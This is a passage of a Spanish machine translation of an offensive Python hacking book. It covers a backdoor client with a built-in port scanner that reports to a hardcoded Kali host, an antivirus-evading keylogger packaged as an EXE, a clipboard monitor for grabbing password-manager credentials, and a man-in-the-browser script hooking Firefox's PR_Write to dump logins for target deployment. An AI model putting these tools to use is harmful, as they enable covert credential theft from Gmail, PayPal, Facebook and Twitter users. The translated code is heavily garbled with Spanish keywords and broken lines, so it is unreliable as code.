en el mismo directorio que el archivo que queremos tomar, ya no necesitamos especificar la ruta
absoluta. Simplemente podemos agarrar el archivo especificando solo el nombre del archivo, de la
siguiente manera:
agarrar*Módulo 3.pdf
Esto nos dará el archivo en la máquina Kali.
[ 71 ]
Integración de escáner de puertos de bajo nivel

Durante las pruebas de penetración, a veces se encuentra con un escenario en el que su cliente está
utilizando algún tipo de servidor interno al que no se puede acceder a través de Internet. Y solo por eso creen
que es seguro. En esta sección, veremos cómo podemos integrar un simple escáner de puertos con nuestro
script para prevenir un posible ataque.
Por lo general, una vez que ingresa a su máquina objetivo, comienza a buscar otros posibles objetivos.
Por ejemplo, si pudimos acceder a la máquina A, entonces podemos extender nuestro ataque y escanear la
máquina B para ver qué puertos y servicios se están ejecutando en esa máquina. Los otros usos son hacer
que el objetivo escanee un servidor en línea en nuestro nombre para ocultar nuestras actividades. Ahora,
vayamos a la parte de la codificación. Construiremos un escáner básico de bajo nivel. Se llama de bajo nivel
porque usaremos la biblioteca de sockets integrada y luego construiremos sobre ella. La fórmula o el formato
para enviar solicitudes de escaneo es escaneo seguido de un espacio, luego la dirección IP seguida de dos
puntos y luego la lista de puertos, por ejemplo, escaneo 10.0.2.15:22,80 :
#Escáner de puertos de bajo nivel
import socket # Para crear una conexión TCP subproceso de importación

# Para iniciar el shell en el sistema import os
paquete = f.leer(1024)
s.send('HECHO')
f.cerrar()
else: # el archivo no existe s.send('No se pudo
encontrar el archivo')
...
[ 72 ]
Ahora, lo primero que debe hacer es cortar el primer carácter principal, por lo que esta parte
se eliminará. Después de eso, dividiremos la parte derecha en dos secciones. La primera sección es
la dirección IP que queremos escanear, y la almacenaremos en la variable ip . La segunda sección es
la lista de puertos para los que queremos comprobar el estado de acceso, y se guardará en la variable
puertos . Para mantener la codificación limpia, existe una función completa llamada escáner para hacer
nuestras cosas. Entonces, pasaremos el objeto socket , la ip y las variables ports a esta función.
Una vez que obtengamos estas variables, definiremos scan_result como una variable, que almacena
nuestro resultado de escaneo. Ahora, recuerda que los puertos están separados por una coma, así:
21, 22, 80, 443, 445, por ejemplo. Entonces, lo que haremos es recorrer cada uno de estos puertos
e intentar hacer una conexión usando una biblioteca de sockets para cada uno de ellos.
Tenga en cuenta que he usado la función connect_ex() , donde la función devuelve 0 si la operación
tiene éxito. Y, en nuestro caso, la operación tuvo éxito, lo que significa que la conexión ocurre y
que el puerto está abierto. De lo contrario, el puerto estaría cerrado o el host sería inalcanzable en
primer lugar. Al final, cerraremos el socket y repetiremos todo el proceso hasta el último puerto de
nuestra lista aquí.
...
def escáner(es,ip,puertos):
scan_result = for port '' # scan_result es una variable que almacena nuestro resultado de escaneo
in ports.split(','): # recuerda que los puertos están separados por una coma en este formato 21,22,..
try: # intentaremos hacer una conexión usando la biblioteca de sockets para

CADA uno de estos puertos
calcetín = socket.socket(socket.AF_INET, socket.SOCK_STREAM) salida = sock.connect_ex((ip,
int(puerto) )) #connect_ex Esto
la función devuelve 0 si la operación tuvo éxito y, en nuestro caso, la operación tuvo éxito significa que
#la conexión ocurre, lo que significa que el puerto está abierto, de lo contrario, el
el puerto podría estar cerrado o el host es inalcanzable en primer lugar.
si salida == 0:
"
scan_result = scan_result + "[+] Puerto +puerto+ " está abierto"
+'\n'
demás:
scan_result = scan_result + "[-] Puerto " +puerto+" está cerrado
o Host no es accesible" + '\n'
sock.close()
excepto Excepción, e:
aprobar
s.send (scan_result) # finalmente enviamos el resultado a nuestro kali
...
[ 73 ]
Así que iremos por el puerto 22 hasta llegar al último. El resultado de nuestro escaneo se
almacenará en scan_result, y el signo + se usa para agregar el resultado. Finalmente, enviamos
el resultado a nuestra máquina Kali. Dado que nuestra máquina Kali y el objetivo están aquí en la
misma subred virtual, deberíamos aparecer en la tabla arp de destino.
Procedamos al resto del código:
...
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.0.2.15', 8080))
while True: # seguir recibiendo comandos de la máquina Kali comando = s.recv(1024) si 'terminar' en el
comando:
s.close()
romper # cerrar el socket
elif 'grab' en el comando: # grab*C:\Users\Hussam\Desktop\photo.jpeg

grab,path = command.split('*') try: transfer(s,path)
excepto Exception,e: s.send ( str(e) )
aprobar
elif 'escanear' en comando: # sintaxis: escanear 10.0.2.15:22,80

command = command[5:] # cortar los primeros 5 caracteres ip,ports = command.split(':') # dividir
la salida en dos secciones donde la primera variable es la ip que queremos escanear y la segunda
variable es la lista de puertos
# que queremos comprobar su

estado
escáner(es,ip,puertos)
...
Al ejecutar nuestros scripts en ambos lados, haremos un arp -a y esto dará la dirección IP de
nuestra máquina Kali: 10.0.2.15. Entonces, como prueba de concepto, podemos escanear nuestra
máquina Kali desde el lado objetivo y ejecutar Wireshark para confirmar el escaneo:
escanear 10.0.2.15: 21,23,80,443,445,137,138,8080
[ 74 ]
Una vez que ejecutamos Wireshark y filtramos en TCP, podemos ver que la sesión de TCP termina. En el
resultado del escaneo, podemos ver que el puerto 8080 está abierto y todos los demás están cerrados:
>>>
[-] El puerto 21 está cerrado o no se puede acceder al host
[+] Se abre el puerto 8080
>>>
Podemos verificar el protocolo de enlace de tres vías completado para TCP en el puerto 8080. Podemos ver
[SYN], [SYN, ACK], luego [ACK] que completan el protocolo de enlace de tres vías; y podemos ver que el
objetivo, después de completar el protocolo de enlace de tres vías, envía una solicitud [FIN] para cerrar el socket
aquí porque optamos por cerrar el socket después de escanear. Si aún recuerdas, en el código aquí dijimos
sock.close(). Entonces [FIN] actúa como un indicador para cerrar el zócalo.
Ahora, para volver a verificar, podemos abrir una terminal para ver qué proceso está usando el puerto 8080:
Veremos que lo abre otro script de Python. Pero si hacemos lo mismo con el puerto 21, no obtendremos nada ya
que el puerto está cerrado.
Hagamos otra prueba: usaremos un netcat para abrir el puerto 21:
ncat-lvp 21
Luego, volveré a hacer el escaneo para ver si el resultado va a cambiar. En este momento, estamos escuchando
en el puerto 21 desde que se abrió. Entonces, si volvemos a nuestro shell y luego repetimos el mismo escaneo; si
funciona, deberíamos ver el puerto 21 abierto.
Resumen
En este capítulo, aprendimos sobre DDNS y el shell compatible con DDNS. También aprendimos cómo interactuar
con Twitter y replicar la captura de pantalla de Metasploit, y buscamos el contenido y analizamos la navegación del
directorio de destino. Por último, vimos cómo integrar un escáner de puertos de bajo nivel.
En el próximo capítulo, aprenderemos sobre la piratería de contraseñas.
[ 75 ]
Hackeo de contraseñas
3
La mayoría de los piratas informáticos asumen que su objetivo está ejecutando un Windows XP heredado sin parches,
donde el antivirus está deshabilitado, el firewall está apagado y es posible que el IPS no esté en su lugar. Después de todo,
puede o no piratear sus sistemas. Esto definitivamente no es una prueba de penetración del mundo real.
En este capítulo trataremos los siguientes temas:
Registrador de teclas sin antivirus

Hombre en el navegador
Conexión de la API de Firefox con Immunity Debugger

Python en Firefox prueba de concepto (POC)
Pitón en Firefox EXE
Suplantación de identidad de contraseña
contramedidas
Registrador de teclas sin antivirus

En esta sección, codificaremos un keylogger de software simple, puramente en Python. Para hacerlo, usaremos una
biblioteca llamada pyHook. La biblioteca pyHook envuelve los ganchos de ratón y teclado de bajo nivel en Windows.
Según la documentación de pyHook , cualquier aplicación que desee recibir una notificación de un evento de entrada
global debe tener una bomba de mensajes de Windows. Para esto, necesitamos otra biblioteca, llamada pywin.
Entonces, comencemos instalando estas bibliotecas.
Hackeo de contraseñas Capítulo 3
Instalación de pyHook y pywin

Puede descargar la biblioteca pyHook desde http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/ e instálelo fácilmente
siguiendo las instrucciones en pantalla.
Asegúrese de que no tiene otra instancia de Python ejecutándose en

segundo plano o obtendrá un error durante la instalación.
La biblioteca pywin también se puede instalar de la misma manera. Puede descargar la biblioteca desde https://
sourceforge.net/projects/pywin32/files/pywin32/Build%20219/.
Agregar código al registrador de teclas

El siguiente es el script para keylogger:
# enlace de descarga de pyHook

# http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
# enlace de descarga de pythoncom #

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# registrador de teclas
importar pythoncom, pyHook
#Nuevamente, una vez que el usuario presione cualquier botón del teclado, se ejecutará la función de pulsación
de tecla y esa acción se almacenará en el evento
def tecla presionada (evento):
tienda mundial
#Enter y backspace no se manejan correctamente, es por eso que codificamos sus valores en <Enter> y <BACK
SPACE>
# tenga en cuenta que podemos saber si la entrada del usuario fue ingresar o retroceder en función de sus valores
ASCII
si evento.Ascii==13:
'
teclas=' < Enter > evento
elif.Ascii==8:
'
teclas=' <ESPACIO ATRÁS>
[ 77 ]
demás:
teclas = chr (evento.Ascii)
store = store + keys #al final agregamos las claves ascii en store
variable y finalmente escribirlos en el archivo de texto keylogs
fp=open("keylogs.txt","w") fp.write(store)
fp.close()
devolver True # después de interceptar el teclado tenemos que devolver un True

valor de lo contrario, simplemente deshabilitaremos la funcionalidad del teclado
tienda = '' # cadena donde almacenaremos todas las teclas presionadas
#A continuación, creamos y registramos un administrador de ganchos y una vez que el usuario presione cualquier
botón del teclado, se ejecutará la tecla #func presionada y esa acción se almacenará en el evento
obj = pyHook.HookManager() obj.KeyDown

= tecla presionada
obj.HookKeyboard() #iniciar el bucle de enganche y bombear los mensajes pythoncom.PumpMessages() #recuerde

que según la documentación de pyHook debemos tener un bombeo de mensajes de Windows
Veamos los pasos en el script:
1. Importe las bibliotecas pyHook y pythoncom , como se muestra en el anterior

script, importar pythoncom, pyHook.
La biblioteca pyHook manejará la comunicación de bajo nivel con una función de Windows
llamada SetWindowsHookExA. Esta función instalará un enlace para que podamos monitorear el
evento del teclado.
2. Importe la biblioteca pythoncom , que hará el bombeo de mensajes de Windows para

a nosotros.
3. Defina un almacén de cadenas. Aquí es donde almacenaremos todas las teclas presionadas.
4. Cree y registre un HookManager. Una vez que el usuario presione cualquier botón del teclado, se
ejecutará la función keypressed() y esa acción se almacenará en el evento.
5. Inicie el ciclo de enganche y bombee los mensajes.
Tenga en cuenta que, según la documentación de pyHook , debemos tener una bomba de mensajes
de Windows aquí.
[ 78 ]
6. Dado que los botones Intro y Retroceso no se manejan correctamente. Necesitamos que
configurar estáticamente sus valores.
Tenga en cuenta que sabemos si la entrada del usuario fue Intro o Retroceso, en función de sus valores ASCII.
7. Agregue la clave ASCII a la variable de la tienda y, finalmente, escríbalos en un

archivo keylogs.txt aquí. Podemos agregar los datos y el archivo de texto en lugar de escribir sobre ellos,
pero se sugiere usar la técnica de escritura en lugar de agregar para mayor estabilidad.
8. Después de interceptar el evento del teclado, necesitamos devolver un valor Verdadero ; de lo contrario,
simplemente deshabilitaremos la funcionalidad del teclado.
Entonces, hagamos una prueba rápida ejecutando el módulo. Crearemos un nuevo archivo de texto solo para probar.
Escribamos en el texto ¡Error! La referencia del hipervínculo no es válida.
prueba de keylogger
hola desde python
Recuerde usar Retroceso mientras escribe las líneas anteriores. Tenga en cuenta que obtendremos nuestros registros de teclas
en el archivo de registros de teclas que creamos. Tendrá un aspecto similar al siguiente:
keyloffe <RETROCESO> <RETROCESO> <RETROCESO> gger test <Intro> hola desde python
Como escribimos Retroceso, puede ver que obtuvimos ESPACIO RETROCESO en los registros de teclas.
Ahora, termine el keylogger y elimine los archivos keylogs y New Text Document.
Copie el nombre del archivo keylogger para que podamos exportarlo a EXE usando el archivo de instalación para py2exe. A
continuación, puede ejecutar el módulo. Se creará el keylogger EXE. Ahora, hagamos un escaneo rápido del archivo .exe llamado
keylogger con el antivirus AVG, solo para ver si tenemos una firma para este archivo EXE. Si dice No se detectaron amenazas,
ejecute el registrador de teclas en formato EXE. Luego, inicie sesión en su cuenta de Facebook y observe que una vez que
escribimos incluso una sola tecla en el teclado, la obtenemos en nuestro archivo keylogs.txt . Ingrese su dirección de correo
electrónico y contraseña para abrir la página de Facebook y abra el archivo keylogs.txt . Puede ver su contraseña y el correo
electrónico allí.
Tenga en cuenta que debe finalizar el proceso de registro de teclas manualmente. Además,
el archivo keylogs se encuentra en el mismo directorio que nuestro binario.
[ 79 ]
En la siguiente sección, veremos cómo mejorar nuestras funciones de registro de teclas.
Secuestro del administrador de contraseñas de KeePass

Si alguna vez ha trabajado con ingenieros de redes o administradores de sistemas que trabajan en varios dispositivos,
probablemente se haya topado con un administrador de contraseñas, simplemente porque recordar cada contraseña es
imposible para ellos. Por lo general, utilizan un administrador de contraseñas para almacenar de forma segura las
credenciales del dispositivo.
En esta sección, utilizaremos un software multiplataforma muy común llamado KeePass y

veremos cómo podemos secuestrar contraseñas con la ayuda de este software. Puede
descargar e instalar el software desde https://keepass.info/download.html. Después de instalar:
1. Cree una nueva base de datos haciendo clic en el icono Nuevo .

2. Defina la contraseña maestra y haga clic en Aceptar.
3. A continuación, haga clic en Correo electrónico y cree una nueva cuenta o una nueva entrada para la
cuenta de gmail haciendo clic con el botón derecho y seleccionando la opción Agregar entrada....
4. Ahora, vamos a crear una nueva entrada para la cuenta de PayPal. Haga clic en Homebanking, luego
haga clic con el botón derecho y seleccione la opción Agregar entrada...
5. Entonces, iniciemos sesión y veamos si podemos usar el administrador de contraseñas para iniciar sesión.
Vayamos a https://accounts.google.com, la página de inicio de sesión En el caso del administrador
de contraseñas, debe copiar y pegar el nombre de usuario y la contraseña en la página de inicio de sesión
desde la base de datos. Tenga en cuenta que en este caso el keylogger no funcionará, simplemente porque
las contraseñas se copian en el portapapeles y solo es cuestión de copiar y pegar sin tocar el teclado aquí.
6. Por ahora, cierre sesión en su cuenta.

7. En Python, para interactuar con un portapapeles, necesita una biblioteca llamada pyperclip,
que puede descargar desde https://pypi.python.org/pypi/pyperclip/1.5.
11
8. La instalación de la biblioteca de pyperclip es bastante simple. Solo tenemos que copiar y pegar.
el archivo de la biblioteca en la carpeta de paquetes del sitio .
Si experimentó algunos problemas al usar el archivo de instalación, hágalo manualmente.
[ 80 ]
El directorio es Python27/Lib, luego site-packages. El archivo ya está instalado.
9. Ahora, vaya a la carpeta del administrador de contraseñas y abra el archivo para ver el
código.
10. Comenzamos importando las bibliotecas:
importar tiempo de
importación de pyperclip
11. Luego, creamos una lista, que almacenará el contenido del portapapeles:
lista = []
12. Después de eso, entraremos en un ciclo infinito para verificar continuamente el portapapeles:
while True: # bucle infinito para comprobar continuamente el portapapeles

if pyperclip.paste() != 'Ninguno': # si el contenido del portapapeles es
no vacío ...
value = pyperclip.paste() # luego tomaremos su valor y lo pondremos en la variable llamada value
#print pyperclip.paste()
si el valor no está en la lista: #ahora para asegurarnos de que no obtengamos

elementos replicados en nuestra lista antes de agregar la variable de valor en nuestra lista
#vamos a verificar si el valor se almacenó antes

en primer lugar, si no, esto significa que este es un elemento nuevo
#y lo agregaremos a nuestra lista

list.append(valor) imprimir
lista time.sleep(3)
Si el contenido del portapapeles no está vacío (aquí, vacío significa Ninguno), tomaremos su
valor y lo almacenaremos en una variable llamada valor. Para asegurarnos de que no
obtengamos elementos replicados en nuestra lista, antes de agregar la variable de valor a
nuestra lista, verificaremos si el valor está almacenado en primer lugar. Si no, significa que es
un artículo nuevo y lo almacenaremos. Al final, imprimiremos nuestro resultado, o puede
guardarlo en un archivo de texto. Luego, dormiremos durante 3 segundos y verificaremos el
estado del portapapeles nuevamente.
[ 81 ]
13. Ahora, ejecutemos el script y repitamos todo el proceso una vez más.
14. Veamos qué sucede una vez que copiamos el nombre de usuario y la contraseña de la cuenta de Gmail.
Una vez que se copia en el portapapeles, nuestro script obtendrá inmediatamente el valor del portapapeles
y lo imprimirá.
15. Probemos con nuestra cuenta de PayPal almacenada. Una vez que hacemos una copia, podemos ver la
contraseña aleatoria que ingresamos anteriormente.
Así es como funciona el administrador de contraseñas.
Hombre en el navegador
En esta sección, discutiremos un nuevo método. Como ya sabrá, todos los navegadores ofrecen guardar su nombre de
usuario y contraseña cuando envía los datos a una página de inicio de sesión. La próxima vez que visite la misma página
de inicio de sesión, verá que su nombre de usuario y contraseña se completan automáticamente sin escribir una sola letra.
Además, existe un software de terceros dedicado, como LastPass, que puede hacer el mismo trabajo por usted. El punto
aquí es que, si el objetivo está usando este método para iniciar sesión, entonces ni el registrador de teclas ni el método
del portapapeles funcionarán.
Echemos un vistazo rápido. Usaremos el complemento LastPass en el navegador Firefox. Abra el navegador aquí y vaya
a la cuenta de Gmail. Usaremos el script del portapapeles anterior antes de iniciar sesión en la cuenta de Gmail:
# Enlace de descarga https://pypi.python.org/pypi/pyperclip/1.5.11
# Secuestro del portapapeles
importar tiempo de
importación de pyperclip
list = [] # creamos una lista que almacenará el contenido del portapapeles
while True: # bucle infinito para comprobar continuamente el portapapeles

if pyperclip.paste() != 'Ninguno': # si el contenido del portapapeles no está vacío
...
value = pyperclip.paste() # entonces tomaremos su valor y lo pondremos
en variable llamada valor
#imprimir pyperclip.paste()
[ 82 ]
si el valor no está en la lista: #ahora para asegurarnos de que no obtengamos elementos

replicados en nuestra lista antes de agregar la variable de valor a nuestra lista
#vamos a verificar si el valor se almacenó antes en primer

lugar, si no, esto significa que este es un elemento nuevo
#y lo agregaremos a nuestra lista
list.append(valor)
imprimir lista
time.sleep(3)
Ejecute el script y luego inicie sesión en la cuenta de Gmail con LastPass. Notará que LastPass ha
insertado el correo electrónico y la contraseña automáticamente.
Después de iniciar sesión con éxito, notará que la secuencia de comandos del portapapeles no pudo
capturar nada aquí. Salgamos de la cuenta de Gmail.
En respuesta a esto, los piratas informáticos han creado un nuevo ataque, llamado hombre en el ataque
del navegador para superar este dilema. En pocas palabras, el ataque del hombre en el navegador intercepta
las llamadas a la API del navegador y extrae los datos mientras están en texto claro, antes de que lleguen al
socket de la red donde ocurrió el cifrado SSL.
proceso de firefox
Vamos a depurar y entrar en el proceso de Firefox ahora. Luego, interceptaremos las llamadas API para una
función específica dentro de un módulo DLL :
[ 83 ]
Esta es la DLL y realizaremos la intercepción de una Función específica dentro de la DLL.

Después de eso, extraeremos datos y continuaremos el flujo. En resumen, los pasos para hacerlo son los siguientes:
1. Obtenga el ID de proceso del proceso del navegador.

2. Adjunte nuestro depurador a este ID de proceso.
3. Especifique la biblioteca DLL que queremos interceptar, así como el nombre de la función dentro de la DLL.
Tenga en cuenta que necesitamos saber la dirección de memoria de la función para que podamos continuar el
flujo después de interceptar.
4. Establezca un punto de interrupción y registre una función de devolución de llamada .
5. En la función de devolución de llamada , imprimiremos los datos confidenciales de la memoria

en texto claro.
6. Espere el evento de depuración usando el bucle de depuración.

7. Una vez que ocurra el evento de depuración, ejecute la función de devolución de llamada .
8. Después de ejecutar la función de devolución de llamada , volveremos al proceso original para

continuar con el flujo normal.
En las próximas dos secciones, veremos estos pasos en acción. Es mucho más simple de lo que parece ser.
Conexión de la API de Firefox con Immunity Debugger

Firefox usa una función llamada PR_Write para escribir datos en un socket TCP. Esta función se encuentra dentro de un
módulo DLL llamado nss3.dll. Para esta demostración, necesitamos preparar una cuenta de Twitter. Una vez que haya creado
esa cuenta y haya iniciado sesión, cierre la sesión y vuelva a iniciar sesión. Dado que usamos LastPass, LastPass ya habrá
ingresado las credenciales de inicio de sesión. Una vez que hagamos clic en el botón Iniciar sesión , ¿qué sucederá detrás
de escena?
[ 84 ]
Detrás de escena, Firefox cargará la biblioteca nss3.dll y llamará a la función PR_Write para enviar los datos (ID de inicio de sesión
y contraseña). Una vez que Firefox realice estos pasos, configuraremos un punto de interrupción e interceptaremos el tráfico.
Comencemos instalando el software Immunity Debugger desde https://debugger.immunityinc.com/ID_register.py. La parte de
instalación es bastante sencilla. Immunity Debugger obtendrá el ID del proceso del navegador y adjuntará un depurador al PID de
una sola vez. Solo necesitamos adjuntar el proceso de Firefox de la lista de procesos para adjuntar que se muestra cuando vamos a
Archivo | Adjuntar. De forma predeterminada, Immunity Debugger resolverá el ID del proceso y lo adjuntará por nosotros. La
siguiente acción es especificar la biblioteca DLL y el nombre de la función, es decir, nss3.dll y PR_Write, respectivamente. Para
hacerlo, solo necesita ir a Ver | Módulos ejecutables. Busque la DLL adecuada comprobando el campo Nombre . Haga clic derecho
en la DLL resaltada y luego seleccione Ver nombres. Desplácese hacia abajo hasta que encuentre la función PR_Write .
Entonces, en este punto, hemos completado los primeros cuatro pasos de nuestra sección anterior sobre el proceso de Firefox.
Dado que estamos haciendo el enganche manualmente usando Immunity Debugger, no necesitamos
especificar una función de devolución de llamada .
Para establecer un punto de interrupción, solo necesita presionar F2 en su teclado o hacer clic con el botón derecho y especificar
un punto de interrupción de alternancia. Una vez que hagas eso, presiona el botón Reproducir un par de veces.
Ahora vuelve a abrir la ventana de Firefox. Tenga en cuenta que cada vez que obtengamos un punto de interrupción, el administrador
de tareas ubicado en la parte inferior de la pantalla Immunity Debugger nos notificará.
Además, se detendrá la ejecución. Puede ver la ventana en pausa. Se pausará a menos que presionemos manualmente el botón
Reproducir una vez más. Ahora presione el botón Iniciar sesión . Para ver el contenido de la memoria, simplemente haga clic
derecho y vaya a Dirección | Relativo al registro ESP, que es el puntero de pila. Luego, solo necesita hacer clic en el botón
Reproducir varias veces. Haga clic derecho en uno de los registros ESP y seleccione Seguir en volcado para que podamos ver
el volcado de memoria aquí. Nuevamente, debemos hacer clic en el botón Reproducir varias veces. Una vez más, haga clic con el
botón derecho y seleccione Seguir en volcado. Después de unos pocos clics, primero copiaremos el volcado de memoria en el
nuevo archivo de texto y luego terminaremos el depurador. Verá que hay el mismo nombre de usuario y contraseña que usamos
para iniciar sesión en la cuenta de Twitter. El nombre de usuario/correo electrónico era bigtasty@gmail.com. Podemos ver que
tenemos algunos caracteres hexadecimales, que necesitamos volver a mover a ASCII. Podemos hacer esto consultando la tabla
de códigos ASCII.
[ 85 ]
Deje que el siguiente sea el correo y la contraseña que obtuvimos arriba:
correo% 5D = bigtasty321% 40gmail.com

contraseña% 5D =% 58123 solo tú y yo% 5D
Comenzaremos con la dirección de correo electrónico. Tenga en cuenta que 40 en hexa significa @ en ASCII.
Entonces obtuvimos bigtasty a través de 321@gmail. Para la contraseña, el 58 se representa con un corchete izquierdo
([) y el 5D se representa con un corchete derecho (]). Así, nuestro nombre de usuario y contraseña quedarán configurados
de la siguiente manera:
mail%5D= bigtasty321@gmail.com
contraseña%5D= [123solotuyyo]
Ahora, intentaremos iniciar sesión en la cuenta de Twitter utilizando la información que acabamos de descubrir aquí.
Entonces, vaya a la página de inicio de sesión de Twitter y copie el nombre de usuario y la contraseña, y verá que
puede iniciar sesión.
Tenga en cuenta que todo esto es solo un método manual y solo fue una introducción a la siguiente sección. En la
siguiente sección, veremos cómo obtener el mismo resultado utilizando un script de Python.
Python en Firefox prueba de concepto (PoC)

En esta sección, escribiremos un script de Python, que automatizará los pasos exactos que hicimos usando Immunity
Debugger. Para este propósito, usaremos una biblioteca de Python llamada winappdbg, para automatizar la depuración
del proceso de Firefox. Entonces, comencemos instalando esta biblioteca. Puede descargar la biblioteca desde http://
winappdbg.sourceforge.net/.
Los pasos mencionados en la sección del proceso de Firefox, que explicamos anteriormente, se pueden traducir
a código. Hagamos esto paso a paso:
1. Primero, necesitamos obtener el ID del proceso y luego adjuntarlo a un depurador. El código en

Python para hacer esto es como sigue:
...
debug = Debug(MyEventHandler()) # Crear una instancia de objeto de depuración intente:
for (proceso, nombre) en

debug.system.find_processes_by_filename( "firefox.exe" ): # Busque el proceso Firefox.exe, si lo
encuentra, imprima '[+] El PID de Firefox encontrado es '
+ str (proceso.get_pid())
# Tome la identificación del proceso (PID)
debug.attach( process.get_pid() ) # Adjuntar al proceso.
[ 86 ]
depuración.bucle()
...
Como puede ver, primero buscamos el proceso de Firefox y luego recuperamos su ID de

proceso. Luego adjuntaremos el ID del proceso al depurador y pasaremos una clase llamada
MyEventHandler a la función de depuración .
2. En la clase MyEventHandler , especificamos la biblioteca DLL que queremos

interceptar así como el nombre de la función, y resolveremos su dirección de memoria.
Veamos el código:
...
class MyEventHandler( EventHandler ): def load_dll( self,
event ):
module = event.get_module() # Obtenga el objeto del módulo if

module.match_name("nss3.dll"): # Si es nss3.dll, entonces pid = event.get_pid() # Obtenga la
dirección de ID del proceso = module.resolve( "PR_Write" ) # Obtener el
dirección de PR_Write
imprimir '[+] PR_Write encontrado en addr ' + str(dirección)
event.debug.hook_function(pid, dirección, preCB=PR_Write,
postCB=Ninguno, paramCount=3,signature=Ninguno)
...
Puede ver el nombre de la DLL nss3.dll y el nombre de la función PR_Write. Hemos resuelto
la dirección de memoria para la función. Luego establecemos el punto de interrupción y
registramos la función de devolución de llamada . Tenga en cuenta que debemos pasar cierta
información obligatoria a la función de devolución de llamada , como el ID del proceso y la
dirección de memoria resuelta para la función. Puedes ver el pid y la dirección. Observe que
hemos llamado a la función de devolución de llamada PR_Write. Cuando se produce el punto
de interrupción, se deben devolver 3 parámetros a la función de devolución de llamada .
Ahora, la pregunta es: ¿cuáles son estos 3 parámetros y cómo podría saber su número aquí?
La respuesta a estas preguntas proviene de los propios desarrolladores de Mozilla Firefox.
[ 87 ]
3. Si abrimos el https://developer.mozilla.org/en-US/docs/Mozilla/
Proyectos/NSPR/Referencia/PR_Write link, obtendremos más detalles sobre los parámetros de la función PR.
PR_Write es el nombre de la función y el propósito de esta función es escribir un búfer de datos en el archivo
o socket. También puede ver parámetros de función como *fd, *buf y cantidad. Si aún recuerda, en Immunity
Debugger, estábamos rastreando el contenido de la memoria cada vez que obteníamos un punto de interrupción
para la función PR_.
Aquí, un segundo parámetro, buf, nos dará un puntero a la dirección de memoria para los datos enviados; en
nuestro caso, estamos buscando el nombre de usuario y la contraseña.
Entonces, todo lo que tenemos que hacer es resolver la dirección de memoria para este puntero. Entonces,
reflejemos esto en nuestro código:
def PR_Write(evento, ra, arg1, arg2, arg3):
Puede ver que los tres parámetros son arg1, arg2 y arg3; ya hemos mencionado paramCount=3. Los pasamos a
nuestra función de devolución de llamada . Como dijimos, nuestro principal interés está solo en el segundo parámetro,
que nuevamente es el puntero de memoria.
4. El último paso que debemos hacer es leer los primeros 1 KB de la dirección de memoria para ese
puntero, y este código hará el trabajo por nosotros:
proceso de impresión.leer(arg2,1024)
El argumento 2 contiene el parámetro 2, que es el puntero de memoria y leeremos el primer KB de esa dirección.
Entonces, en este punto, hemos completado el resto de los pasos mencionados en la sección del proceso de Firefox ejecutando
la función de devolución de llamada e imprimiendo el volcado de memoria.
¿Cuándo se encargará una depuración de completar el flujo normal? En la sección anterior, usando Immunity Debugger, intentamos
hacerlo con una cuenta de Twitter. Probemos con PayPal
cuenta ahora:
1. Vaya a la página de inicio de sesión de PayPal e intente recuperar la información de inicio de sesión.
2. Ejecute el script. Una vez que inicie sesión, observe el resultado que obtenemos.
3. Si ingresamos las credenciales incorrectas, recibiremos un mensaje de arrepentimiento de PayPal.
[ 88 ]
4. Interrumpa el script y exporte la salida a un archivo de texto aquí. Para hacer esto, vaya
al archivo | Guardar como..., para guardar el archivo en formato de texto. Busque el nombre de usuario en el
archivo de texto. Si presta mucha atención, verá que obtuvimos el ID de correo electrónico de inicio de sesión,
así como la contraseña de inicio de sesión, y ambos en texto sin cifrar. Ahora, verifiquemos que estas sean las
mismas credenciales que se almacenaron en LastPass.
5. Vaya a Sitios | Finanzas | paypal.com luego haga clic derecho y seleccione Editar. si haces clic
en el ícono del ojo al lado de la opción Contraseña , puede ver la contraseña que será la misma que extrajimos
del proceso de Firefox.
Antes de pasar a la siguiente sección, tenga en cuenta que interceptar una función como
PR_Write afectará gravemente el rendimiento del proceso de Firefox, ya que la función se
llamará con frecuencia. Cada vez que interceptemos esta función, se producirá un retraso y puede
bloquearse todo el proceso.
Pitón en Firefox EXE

En esta sección, mejoraremos nuestro script PoC anterior para que coincida con lo siguiente:
1. Una vez que obtenga un pase en la memoria, imprima el volcado de memoria y detenga
depuración para minimizar los problemas de rendimiento 2.
Exporte su secuencia de comandos a un archivo EXE independiente, para que pueda usarse en el
fase posterior a la explotación (usando Py2exe)
3. Pruébelo contra antivirus 4.

Pruebe y asegúrese de que es completamente funcional probándolo mientras inicia sesión en las cuentas
de Twitter, Gmail, PayPal y Facebook
En la función de devolución de llamada, agregue una nueva declaración if para finalizar

la depuración una vez que obtengamos una palabra clave pass. Siempre es bueno antes de enviar
este script a su objetivo, probarlo localmente primero. Para hacerlo, es posible que deba cambiar la
configuración en el archivo de instalación de py2exe al modo de consola.
Para probar el script, iniciaremos sesión en la cuenta de Facebook:
1. Vaya a la página de inicio de sesión de Facebook. Como verá, LastPass ha ingresado nuestro nombre
de usuario y contraseña por nosotros.
2. Ejecute nuestro script. Obtendrá el ID de proceso de Firefox y la dirección de memoria para
la función.
[ 89 ]
3. Una vez que hagamos clic en el botón Iniciar sesión , observe las credenciales que extrajimos de
la memoria. Verá la dirección de correo electrónico y la contraseña.
4. Ahora, verifiquemos si esta era realmente la contraseña correcta almacenada en LastPass.

Para hacer esto, primero cierre sesión en Facebook y luego vaya a Sitios | Social; ahora, haga clic derecho en
Facebook.com y seleccione Editar.
5. Al hacer clic en Editar, si desea ver el valor de la contraseña, puede ver el

mismo que obtuvimos de nuestro script.
6. Ahora, veamos si la misma herramienta y la misma técnica funcionarán con

otros sitios web. Para ello, cerraremos la página de Facebook e iremos
a https://www.paypal.com/in/signin para iniciar sesión.
7. Ejecutemos nuestra herramienta y vayamos a la cuenta de PayPal. Verás que obtenemos la

nombre de usuario y contraseña que utilizamos para el inicio de sesión.
8. Ahora, verifiquemos que esta sea la misma contraseña y nombre de usuario almacenados en LastPass.
Solo necesita seguir el mismo proceso que antes.
9. Intentaremos lo mismo con Twitter yendo a la página de inicio de sesión de Twitter.

10. Ejecute la herramienta aquí como de costumbre y, una vez que presionamos el botón Iniciar sesión , podemos ver el
ID de correo electrónico y la contraseña.
Como vimos anteriormente, estos valores están en formato hexadecimal y deben convertirse a ASCII.
Un pequeño recordatorio de que ni el registrador de teclas ni el secuestro del portapapeles

